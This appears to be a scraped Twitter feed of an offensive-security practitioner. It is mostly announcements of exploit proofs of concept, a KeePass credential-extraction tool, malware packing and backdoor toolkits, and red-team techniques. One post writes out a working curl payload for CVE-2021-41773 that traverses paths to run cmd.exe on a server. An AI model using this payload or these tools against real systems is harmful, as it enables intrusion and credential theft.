cdRoot

Penetration Tester
Red Team
Aspiring Malware Dev

[Filip Dragovic @filip_dragovic]

My good friend @cd_root_ is looking for a new job. If you have open position for senior pentesters, please reach out to him. Others pls rt for visibility :).
Thank you.

[Filip Dragovic @filip_dragovic]

PoC for arbitrary file delete/move in #Razer Macro module that is not fixed as their bug hunting team do not consider this a bug but an exploit 🙃.

https://t.co/XnKnmH1q7c

[Nikhil @Ox4d5a]

tcm after buying cobalt strike: we are now offering c2 as a service. $10 per hr via RDP

https://t.co/RGeZtXuMj4

#infosec #malware

[cdRoot @cd_root_]

@passthehashbrwn @RiiRoman

[cdRoot @cd_root_]

@HackingDave Now just gotta get rid of that Gyno

[Marcello @byt3bl33d3r]

No need write obfuscators anymore

[mpgn @mpgn_x64]

Execute commands as another user w/t dumping LSASS or touching the ADCS server ? Thanks to @Defte_ a new module has been added to CrackMapExec 🚀

The module will impersonate any logged on user to exec command as "this" user (system, domain user etc) 🔥

[Julien Bedel @d3lb3_]

Just released KeeFarce Reborn, yet another offensive KeePass extraction tool featuring a standalone DLL that exports databases in cleartext once injected in the KeePass process 🔓
https://t.co/uHc5I8RFVo

[cdRoot @cd_root_]

@C5pider Take longer if you want to

[Filip Dragovic @filip_dragovic]

PoC for CVE-2022-3368 , arbitrary file move bug I found in Avira Security.
https://t.co/MRewhiDit4

[mgeeky | Mariusz Banach @mariuszbit]

🔥Working hard on a public release of my Malware Dev CI/CD toolkit

☢️ProtectMyTooling - Multi-Packer, supporting 23+ obfuscators
☢️RedBackdoorer - PE shellcode injection via 6 techniques
☢️RedWatermarker - IOC injector for implants tracking

Already available to my sponsors 😁✨

[an0n @an0n_r0]

Reproduced the MS-MSDT Office RCE (on up-to-date Win10 and up-to-date Office 2019). Had some troubles with building the appropriate docx with external HTML reference, so quickly made some notes how to do it, step-by-step: https://t.co/zutxokWF4W

[Filip Dragovic @filip_dragovic]

As ZoneAlarm decided to not fix LPE vulnerability in their software I am releasing PoC https://t.co/DhGclL3ePt

[Bobby Cooke @0xBoku]

The voice work here is spot on 😂

[cdRoot @cd_root_]

@nikhil_mitt Thank you for doing this

[Nikhil Mittal @nikhil_mitt]

Never tried this before! 200 RTs and I will do an 'Introduction to Azure Penetration Testing' class for FREE sometime during the Holiday season. #Azure #Pentesting #redteam

[cdRoot @cd_root_]

@mattifestation @jsecurity101 Gotta appreciate how fast they fix

[Charlie Bromberg « Shutdown » @_nwodtuhs]

[thread 🧵] this is a sub-thread about Kerberos Constrained Delegation (KCD) and abuse scenarios.

[hacker.house @hackerfantastic]

CVE-2021-41773 was such a weird bug to see in 2021. I can't believe that this actually worked. On Windows stdin/stdout doesn't appear mapped to exec'd binaries but GET args work fine.

* curl -vv "http://x.x.x.x/cgi-bin/.%2e/.%2e/.%2e/.%2e/Windows/System32/cmd.exe?/c+calc.exe"

[cdRoot @cd_root_]

@0xBoku @AbitbolIlan1 @247CTF @_JohnHammond @SEKTOR7net @NinjaParanoid What's the most advanced one?